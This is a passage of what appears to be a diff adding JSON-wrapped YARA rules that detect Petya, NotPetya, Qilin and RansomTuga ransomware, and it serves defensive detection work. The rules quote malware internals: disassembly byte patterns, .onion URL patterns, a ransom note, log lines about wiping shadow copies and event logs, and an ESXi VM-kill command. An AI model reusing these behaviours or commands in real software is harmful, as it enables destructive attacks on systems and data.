       // mov     esi, ebx\n\n                                                // loc_100086EA:                           ; CODE XREF: sub_10008677+8D↓j\n                8B C6                                         // mov     eax, esi\n                83 E0 03                                      // and     eax, 3\n                8D 4C 05 F8                                   // lea     ecx, [ebp+eax+var_8]\n                8A 84 55 EC FD FF FF                          // mov     al, byte ptr [ebp+edx*2+pe.szExeFile]\n                32 01                                         // xor     al, [ecx]\n                FE C8                                         // dec     al\n                42                                            // inc     edx\n                46                                            // inc     esi\n                88 01                                         // mov     [ecx], al\n                3B D7                                         // cmp     edx, edi\n                72 E4                                         // jb      short loc_100086EA\n\n                                                // loc_10008706:                           ; CODE XREF: sub_10008677+6F↑j\n                43                                            // inc     ebx\n                83 FB 03                                      // cmp     ebx, 3\n                72 D6                                         // jb      short loc_100086E2\n                81 7D F8 44 4B 21 2E                          // cmp     [ebp+var_8], 2E214B44h\n                74 18                                         // jz      short loc_1000872D\n                81 7D F8 7E 52 03 64                          // cmp     [ebp+var_8], 6403527Eh\n                74 09                                         // jz      short loc_10008727\n                81 7D F8 05 30 1B 65                          // cmp     [ebp+var_8], 651B3005h\n                75 0A                                         // jnz     short loc_10008731\n        }\n\n        // 45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0\n        $sample2 = {\n            2c 00 23 00 31 00 20 00  00 00 00 00 00 00 00 00  // |,.#.1. .........|\n            72 00 75 00 6e 00 64 00  6c 00 6c 00 33 00 32 00  // |r.u.n.d.l.l.3.2.|\n            2e 00 65 00 78 00 65 00  20 00 00 00 00 00 00 00  // |..e.x.e. .......|\n            63 00 3a 00 5c 00 57 00  69 00 6e 00 64 00 6f 00  // |c.:.\\.W.i.n.d.o.|\n            77 00 73 00 5c 00 00 00  53 00 54 00 55 00 42 00  // |w.s.\\...S.T.U.B.|\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 500KB and (\n            (2 of ($strings_ascii*)) and\n            (\n                ((3 of ($strings_wide*)) or $sample1) or\n                ($sample2)\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_notpetya"
+  ],
+  "rule_creation_date": "2022-02-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.NotPetya"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_petya_156a2fdea12d_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574392Z",
+  "creation_date": "2026-03-23T11:46:25.574396Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574404Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/"
+  ],
+  "name": "ransomware_petya_156a2fdea12d.yar",
+  "content": "rule ransomware_petya_156a2fdea12d {\n    meta:\n        title = \"Petya Ransomware (156a2fdea12d)\"\n        id = \"9342705a-4487-414e-8874-156a2fdea12d\"\n        description = \"Detects the Petya ransomware.\\nPetya, is a destructive ransomware that encrypts files and demands payment for decryption.\\nIt is notorious for its use of a fake CHKDSK screen to deceive users and its method of encryption, which includes overwriting the master boot record (MBR) and encrypting files using AES and XOR operations.\"\n        references = \"https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/\"\n        date = \"2022-02-25\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Petya\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // SFX Packing XML information\n        $s1 = \"<description>WinRAR SFX module</description>\" ascii\n        $s2 = \"<requestedExecutionLevel level=\\\"requireAdministrator\\\"\" ascii\n\n        // Custom crypto codes before unpacking\n\n        // Detection for these samples :\n        // 26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739\n        // afac6baccc04b39e13e4667dac8ebdd82328cb735d14902afc84c5a366a8d6f2\n        // 2ca685f076b3e5215e15ac1c7dca3a57003209ef11c2342b894eec25c466ebb2\n        // 4fa97857143136ab7b2e0a5384f7ec19b455de3f43bf39f3fc18e36c3fbb5c48\n        // 67e81c89d67f4c0f21dd0fd24ceb112c8486da0e36c0d8aa625cf7195af5c631\n        // 605f788dcc764abbcb9ef254ea2353099183483547f0b3ff3fc0775461e3f25f\n        // 6e3bd2551ac86ce085cfcafc78b7eda00c454fcdf148fb8b374134bb98d8ffe0\n        // 9e8ea79c467fcf1cb1e018496b1eeabce0c70fbcc109eca540b456cbf44085ff\n        $o1 = {\n            81 F6 9C E1 7F 11  // xor     esi, 117FE19Ch\n            F7 DA              // neg     edx\n            48                 // dec     eax\n            03 DD              // add     ebx, ebp\n            87 F1              // xchg    esi, ecx\n            F7 D7              // not     edi\n            81 F6 98 74 1C 10  // xor     esi, 101C7498h\n            87 D7              // xchg    edx, edi\n        }\n\n        $o2 = {\n            81 F6 38 A6 5E 09  // xor     esi, 95EA638h\n            81 F6 38 A6 5E 09  // xor     esi, 95EA638h\n            C1 C2 1F           // rol     edx, 1Fh\n            C1 C8 19           // ror     eax, 19h\n            03 CB              // add     ecx, ebx\n            F7 DF              // neg     edi\n            C1 C3 12           // rol     ebx, 12h\n            F7 D6              // not     esi\n        }\n\n        // cadb62ee07051f93db35732892dab46b1dbaebc60df18fd21275516065d3120d\n        // b521767f67630b74e2272ee953295ef56c8b6428da75afa5bbfb05b72b34c69d\n        $o3 = {\n            FF ?? ?? ?? ?? ??  // call    ds:VirtualAlloc\n            F7 DA              // neg     edx\n            2B F0              // sub     esi, eax\n            E8 ?? ?? ?? ??     // call    nullsub_1\n            33 C1              // xor     eax, ecx\n            81 ?? ?? ?? ?? ??  // add     esi, 85DE1EB6h\n            E8 ?? ?? ?? ??     // call    near ptr loc_40618D+1\n            87 C7              // xchg    eax, edi\n            E8 ?? ?? ?? ??     // call    nullsub_5\n            87 F3              // xchg    esi, ebx\n        }\n\n        // e99eccfc1473800ea6e2e730e733c213f18e817c0c6501209f4ee40408f94951\n        $o4 = {\n            F7 DB              // neg     ebx\n            8B F0              // mov     esi, eax\n            81 ?? ?? ?? ?? ??  // xor     edx, 248A503Ah\n            8B C8              // mov     ecx, eax\n            03 D3              // add     edx, ebx\n            81 ?? ?? ?? ?? ??  // add     esi, 2C044B6h\n            C1 E8 ??           // shr     eax, 0Eh\n        }\n\n        // 4d8869d738b7e852fbe780cd1dbaa4b846d420bff1ec197f37627c3e57277537\n        $o5 = {\n            FF ?? ?? ?? ?? ??  // call    ds:VirtualAlloc\n            4E                 // dec     esi\n            E8 ?? ?? ?? ??     // call    nullsub_9\n            81 F7 ?? ?? ?? ??  // xor     edi, 6211104h\n            89 ?? ?? ?? ?? ??  // mov     off_44D2D0, ecx\n            E8 ?? ?? ?? ??     // call    nullsub_6\n            33 F0              // xor     esi, eax\n            49                 // dec     ecx\n        }\n\n        // 9ddd35543b47644d41656eff43eee5ac146f8ca44c602701b6b56fb3878408c6\n        $o6 = {\n            FF ?? ?? ?? ?? ??  // call    ds:LoadLibraryW\n            F7 DE              // neg     esi\n            C1 C6 ??           // rol     esi, 12h\n            89 ?? ?? ?? ?? ??  // mov     dword_481468, ecx\n            81 C6 ?? ?? ?? ??  // add     esi, 61E7398Ch\n            E8 ?? ?? ?? ??     // call    nullsub_23\n            89 ?? ?? ?? ?? ??  // mov     dword_482971, ebx\n            33 F0              // xor     esi, eax\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 800KB and all of ($s*) and 1 of ($o*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_petya_156a2fdea12d"
+  ],
+  "rule_creation_date": "2022-02-25",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Petya"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_petya_heap_4f738d55b5f0_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574350Z",
+  "creation_date": "2026-03-23T11:46:25.574354Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574362Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/"
+  ],
+  "name": "ransomware_petya_heap_4f738d55b5f0.yar",
+  "content": "rule ransomware_petya_heap_4f738d55b5f0 {\n    meta:\n        title = \"Petya Ransomware (4f738d55b5f0)\"\n        id = \"ec10e745-0bb1-4ff4-9df8-4f738d55b5f0\"\n        description = \"Detects the Petya ransomware.\\nPetya is a destructive ransomware that encrypts files and demands payment for decryption.\\nIt is notorious for its use of a fake CHKDSK screen to deceive users and its method of encryption, which includes overwriting the master boot record (MBR) and encrypting files using AES and XOR operations.\"\n        references = \"https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/\"\n        date = \"2023-05-22\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Petya\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c\n        // 23fa4fd7ca0706868269cb31e4c91a912f7f7625bc78c23a02aa4b3df1271223\n        // fa5288a3c972beb1dcd728763011de9815443c5ced9104670354628b0f5ffa92\n\n        $s1 = \"SysInfo::`anonymous-namespace'::getSystemDirImpl\" ascii\n        $s2 = \"ekernel32.dll\" wide\n        $s3 = \"CorExitProcess\" ascii\n        $s4 = \"<description>WinRAR SFX module</description>\" ascii\n        $s5 = \"<requestedExecutionLevel level=\\\"requireAdministrator\\\"\" ascii\n\n        $get_heap_mov_mz = {\n            6A ??                                        // push    58h\n            68 ?? ?? ?? 00                               // push    offset stru_4849C0\n            E8 ?? ?? 00 00                               // call    __SEH_prolog4\n            8D 45 ??                                     // lea     eax, [ebp+StartupInfo]\n            50                                           // push    eax             ; lpStartupInfo\n            FF ?? ?? ?? ?? 00                            // call    ds:GetStartupInfoW\n            33 F6                                        // xor     esi, esi\n            39 35 ?? ?? ?? 00                            // cmp     dword_4997FC, esi\n            75 ??                                        // jnz     short loc_44D23B\n            56                                           // push    esi             ; HeapInformationLength\n            56                                           // push    esi             ; HeapInformation\n            6A 01                                        // push    1               ; HeapInformationClass\n            56                                           // push    esi             ; HeapHandle\n            FF ?? ?? ?? ?? 00                            // call    ds:HeapSetInformation\n            B8 4D 5A 00 00                               // mov     eax, 5A4Dh\n            66 39 05 00 00 40 00                         // cmp     ds:400000h, ax\n            74 ??                                        // jz      short loc_44D24E\n        }\n\n        $check_bin = {\n            A1 3C 00 40 00                                // mov     eax, ds:40003Ch\n            81 B8 00 00 40 00 50 45 00 00                 // cmp     dword ptr [eax+400000h], 4550h\n            75 ??                                         // jnz     short loc_44D249\n            B9 0B 01 00 00                                // mov     ecx, 10Bh\n            66 39 88 18 00 40 00                          // cmp     [eax+400018h], cx\n            75 ??                                         // jnz     short loc_44D249\n            83 B8 74 00 40 00 0E                          // cmp     dword ptr [eax+400074h], 0Eh\n            76 ??                                         // jbe     short loc_44D249\n            33 C9                                         // xor     ecx, ecx\n            39 B0 E8 00 40 00                             // cmp     [eax+4000E8h], esi\n            0F 95 C1                                      // setnz   cl\n            89 ?? ??                                      // mov     [ebp+var_1C], ecx\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 800KB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_petya_heap_4f738d55b5f0"
+  ],
+  "rule_creation_date": "2023-05-22",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Petya"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_petya_payload_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583164Z",
+  "creation_date": "2026-03-23T11:46:25.583167Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583176Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/"
+  ],
+  "name": "ransomware_petya_payload.yar",
+  "content": "rule ransomware_petya_payload {\n    meta:\n        title = \"Petya Ransomware Payload (76f2dfd14549)\"\n        id = \"a8a4d667-3907-4f40-ae80-76f2dfd14549\"\n        description = \"Detects the Petya ransomware payload.\\nPetya is a destructive ransomware that encrypts files and demands payment for decryption. It is notorious for its use of a fake CHKDSK screen to deceive users and its method of encryption, which includes overwriting the master boot record (MBR) and encrypting files using AES and XOR operations.\"\n        references = \"https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/\"\n        date = \"2022-02-25\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Petya\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // 87f202a4c28b27437f505873d8dcbe1cc966a27efa4d79b440704cf341ab4a22\n        // 542a38bf52afa6a4a008089a6fbf22c9d68ef5d6c634dd2c0773d859a8ae2bbf\n        // 3220917e592ffeb2596cba3771352b9cde7b8ab5d1272671c475c8f8733b2d01\n\n        $petya_url_re1 = /(http:\\/\\/petya.{2,13}\\.onion\\/)/\n        $petya_url_re2 = /(http:\\/\\/mischa.{2,13}\\.onion\\/)/\n\n        // 0x37 XOR of partition sectors\n        $xor_sectors = {\n            80 ?? ?? ?? ?? ?? ?? 37  // xor     [esp+eax+0C48h+sector_data], 37h\n            40                       // inc     eax\n            3D 00 02 00 00           // cmp     eax, 200h\n            72 F0                    // jb      short loc_10008C83\n            57                       // push    edi             ; int\n            56                       // push    esi             ; int\n            8D ?? ?? ?? ?? ?? ??     // lea     edx, [esp+0C50h+sector_data] ; lpBuffer\n            8D ?? ?? ??              // lea     ecx, [esp+0C50h+PhysicalDriveName] ; lpFileName\n            E8 ?? ?? ?? ??           // call    write_mbr\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize <100KB and 1 of ($petya_url_re*) and $xor_sectors\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_petya_payload"
+  ],
+  "rule_creation_date": "2022-02-25",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Petya"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_qilin_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565379Z",
+  "creation_date": "2026-03-23T11:46:25.565381Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565387Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/qilin-ransomware/\nhttps://www.sans.org/blog/evolution-qilin-raas\n"
+  ],
+  "name": "ransomware_qilin.yar",
+  "content": "rule qilin_ransomware {\n    meta:\n        title = \"Qilin Ransomware\"\n        id = \"cf0f9208-6583-4429-baf4-a6c7762a07f8\"\n        description = \"Detects Qilin ransomware. Originally known as Agenda, Qilin is active since 2022 and supports both Windows and Linux/VMware ESXi targets and can be built using Golang or Rust.\\nTypical infection vectors include spear-phishing emails, compromised or exposed VPN/RDP/remote-access gateways and exploitation of vulnerable services.\\nQilin uses double-extortion, it exfiltrates data before encryption, then encrypts files on the system.\\nIt is recommended to perform a thorough investigation of network shares and connected devices to prevent further spread and to analyze the host for other malicious content or actions.\"\n        references = \"https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/qilin-ransomware/\\nhttps://www.sans.org/blog/evolution-qilin-raas\\n\"\n        date = \"2025-11-05\"\n        modified = \"2025-12-08\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.002;attack.t1497.001;attack.t1562.002;attack.impact;attack.t1490\"\n        classification = \"Ransomware.Qilin\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows,Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 56e1d092c07322d9dad7d85d773953573cc3294b9e428b3bbbaf935ca4d2f7e7\n        // e00bac61811705d283472b77b602624c378c7e80c32e3448b06ea6a55d466c69\n        // 78b6552fe4e7afbd21d8494dd19c056e16316b7aabdbaf746f5511a2dc2c542c\n        // 555964b2fed3cced4c75a383dd4b3cf02776dae224f4848dcc03510b1de4dbf4\n        // a0625699c01bad9545d87764f267aea9e9893f3b3f7ce562e28b60e75a66a707\n\n        $stub = {\n            85 C0                       // test    eax, eax\n            75 12                       // jnz     short loc_4018B1\n            E8 [4]                      // call    GetProcessHeap\n            85 C0                       // test    eax, eax\n            0F 84 ?D 0? 00 00           // jz      loc_4025B9\n            A3 C0 ?0 [1] 00             // mov     ds:hHeap, eax\n            68 00 [1] ?A 00             // push    offset unk_4AFC00\n            6A 00                       // push    0\n            50                          // push    eax\n            E8 [4]                      // call    HeapAlloc\n            85 C0                       // test    eax, eax\n            0F 84 ?3 0C 00 00           // jz      loc_4025B9\n            31 D2 BF 00 [2] FF          // mov     edi, 0FFB50400h\n        }\n\n        $canary = \"391c000e22def3f63f7aaf94e1e931fefc8a7b8424edb777da6551ac88855342\"\n\n        $debug_win_typo_str00 = \"[WARNING] Cannot create meaningful ecnryption encryption_config from these parameters\"\n        $debug_win_typo_str01 = \"[INFO] propogation to\"\n\n        $help_str00 = \"--key          Sets the keys for activation (Required parameter)\"\n        $help_str01 = \"--path         Sets the path to the file or directory to be encrypted\"\n        $help_str02 = \"--sleep        Sleep is indicated in seconds\"\n        $help_str03 = \"--no_local     Skip encrypting data stored locally on this device\"\n        $help_str04 = \"--no_net       Skip encryption of network data\"\n        $help_str05 = \"--no_impl      Don't use impersonation\"\n        $help_str06 = \"--no_notes     Encryption without notes\"\n\n        $debug_win_str00 = \"[WARNING|WALK] This is probably raw path to volume or disk.\"\n        $debug_win_str01 = \"[CRITICAL|DEC] Looks like some thread panicked holding PROCESSED_PATHS mutex\"\n        $debug_win_str02 = \"[ERROR|VOLUME] Unknown error on GetVolumePathNamesForVolumeNameW on Volume\"\n        $debug_win_str03 = \"[BUG|DEC] Decrypted filename is the same as original. Should never happen.\"\n        $debug_win_str04 = \"[ERROR|SYSTEM] Error on storage device enumeration via impersonated SID\"\n        $debug_win_str05 = \"[ERROR|SYSTEM] Error on logical volume enumeration via impersonated SID\"\n        $debug_win_str06 = \"[FATAL|DEC] No devices to start decryption on. This should never happen\"\n        $debug_win_str07 = \"[WARNING|VOLUME] Unknown FindNextVolumeW error, but list is not empty\"\n        $debug_win_str08 = \"[ERROR|SYSTEM] Error on mount point enumeration via impersonated SID\"\n        $debug_win_str09 = \"[WARNING|IMP] Empty SID provided to impersonate for wrapped function\"\n        $debug_win_str10 = \"[DEBUG|BLACK] Looks like file failed to rename after previous round.\"\n        $debug_win_str11 = \"[INFO|WALK] Exited blacklisted folder, reverting to blacklist mode\"\n        $debug_win_str12 = \"[WARNING|IMP] Empty SID provided to impersonate for wrapped function\"\n        $debug_win_str13 = \"[WARNING|WALK] Error advancing filesystem tree in restricted mode\"\n        $debug_win_str14 = \"[ERROR|STORE] Failed to open device handle for seek property query \"\n        $debug_win_str15 = \"[ERROR] Error disabling VSS service after shadow copies purge\"\n        $debug_win_str16 = \"[INFO] Spawning continuous event log removal thread.\"\n        $debug_win_str17 = \"[INFO] Event logs purger process spawned\"\n        $debug_win_str18 = \"[INFO] Event logs cleared in background\"\n        $debug_win_str19 = \"[WARNING] Failed to clear event logs\"\n        $debug_win_str20 = \"[INFO|CLUST] Trying to stop available clusters in background\"\n\n        $str_linux00 = \"VM whitelist: [%s]\"\n        $str_linux01 = \"Process blacklist: [%s]\"\n        $str_linux02 = \"Directory blacklist: [%s]\"\n        $str_linux03 = \"File blacklist: [%s]\"\n        $str_linux04 = \"File extensions blacklist: [%s]\"\n        $str_linux05 = \"File extensions whitelist: [%s]\"\n        $str_linux06 = \"Encrypted extension: \"\n        $str_linux07 = \"Detected OS: ESXi (%d)\"\n        $str_linux08 = \"Detected OS: FreeBSD (%d)\"\n        $str_linux09 = \"Detected OS: unknown (%d)\"\n        $str_linux10 = \"Disables snapshot deletion\\t   --no-vm-kill\"\n        $str_linux11 = \"Disables VM kill\\t-p,--path <string>\"\n        $str_linux12 = \"Kill processes disabled\"\n        $str_linux13 = \"Remove snapshots disabled\"\n        $str_linux14 = \"Kill VMs disabled\"\n        $str_linux15 = \"No path specified! It is mandatory for blacklist mode\"\n        $str_linux16 = \"-- Qilin \\r\\rYour network/system was encrypted. \\rEncrypted files have new extension.\"\n        $str_linux17 = \"File tree traversing done. Waiting workers to complete...\"\n        $str_linux18 = \"[%08x] Failed to rename encrypted file to '%s': %d \"\n        $str_linux19 = \"esxcli vm process kill -t force -w \"\n        $str_linux20 = \"Killing VM \\\"%s\\\" with World ID \"\n\n    condition:\n        (\n            $stub\n            or 1 of ($debug_win_typo*)\n            or 2 of ($help_*)\n            or 5 of ($debug_win*)\n            or 5 of ($str_linux*)\n        ) and not $canary\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "qilin_ransomware"
+  ],
+  "rule_creation_date": "2025-11-05",
+  "rule_modified_date": "2025-12-08",
+  "rule_os": [
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Ransomware.Qilin"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.002",
+    "attack.t1497.001",
+    "attack.t1490",
+    "attack.t1027.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_ransomtuga_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583243Z",
+  "creation_date": "2026-03-23T11:46:25.583245Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583251Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Tugamer89/RansomTuga"
+  ],
+  "name": "ransomware_ransomtuga.yar",
+  "content": "rule ransomtuga {\n    meta:\n        title = \"RansomTuga Ransomware\"\n        id = \"3d5b4092-9653-4cec-820b-df85bb3998f1\"\n        description = \"Detects the RansomTuga ransomware.\\nRansomTuga is an advanced ransomware and semi-stealer designed to encrypt files and collect sensitive data.\\nThe malware employs anti-debugging and anti-analysis techniques to avoid detection by security software.\"\n        references = \"https://github.com/Tugamer89/RansomTuga\"\n        date = \"2024-04-03\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.RansomTuga\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 490f36cd2a3773554a3698ab96134398942d9d92673cdbbfb89e5b92a054c4d0\n        // 4efa8380b2986ee710411df08dba27fef5dd2f80877959be74d3b850a371c623\n        // 5f8ff572f6f1ed39121999a557c71e9364faa642648d8ae64d8e40de2a7b18b1\n        // 79a4c04639a0a9983467370b38de262641da79ccd51a0cdcd53aba20158f1b3a\n\n        $s1 = \"./wallpaper.jpg\" ascii fullword\n        $s2 = \"./ICON.ico\" ascii fullword\n        $s3 = \"./emailSender.ps1\" ascii fullword\n        $s4 = \"../x64/Release/DataDecryptor.exe\" ascii fullword\n        $s5 = \"../x64/Release/debugFolder_backup/exe_example.exe\" ascii fullword\n        $s6 = \"../x64/Release/debugFolder_backup/pdfsample.pdf\" ascii fullword\n\n        $crypt1 = {\n            C1 FA ??                      // sar     edx, 5\n            8B C2                         // mov     eax, edx\n            C1 E8 1F                      // shr     eax, 1Fh\n            03 D0                         // add     edx, eax\n            0F ?? 